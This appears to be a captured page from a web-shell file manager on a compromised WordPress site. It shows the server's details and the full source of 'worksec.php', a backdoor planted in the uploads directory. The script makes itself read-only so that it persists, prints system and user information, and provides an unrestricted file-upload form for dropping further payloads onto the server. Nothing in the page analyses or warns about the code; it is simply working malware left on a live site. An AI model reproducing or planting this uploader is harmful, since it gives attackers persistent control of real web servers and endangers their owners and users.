HEX
Server: nginx/1.17.3
System: Linux iZuf67blrqducrakhrvgozZ 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64
User: root (0)
PHP: 7.3.19
Disabled: passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/shenzhouhuazhang.com/wp-content/uploads/worksec.php
<?php

// Path to the file
$file = 'worksec.php';

// Change the file permissions to 0444 (read-only)
chmod($file, 0444);

?>
<?php

error_reporting(0);
set_time_limit(0);
$user = get_current_user();

echo "<center><b>Uname:".php_uname()."<br></b>"; 
echo "<br><b>Base Dir : ".getcwd()."<br></b>";
echo "<br><b>User : ".$user."<br></b>";
echo '<br><font color="black" size="4">';
if(isset($_POST['Submit'])){
    $filedir = ""; 
    $maxfile = '2000000';
    $mode = '0644';
    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if(isset($_FILES['image']['name'])) {
        $qx = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $qx);
        @chmod ($qx, octdec($mode));
	echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>";
	}
}else{
	echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
}
echo '</center></font>';

?>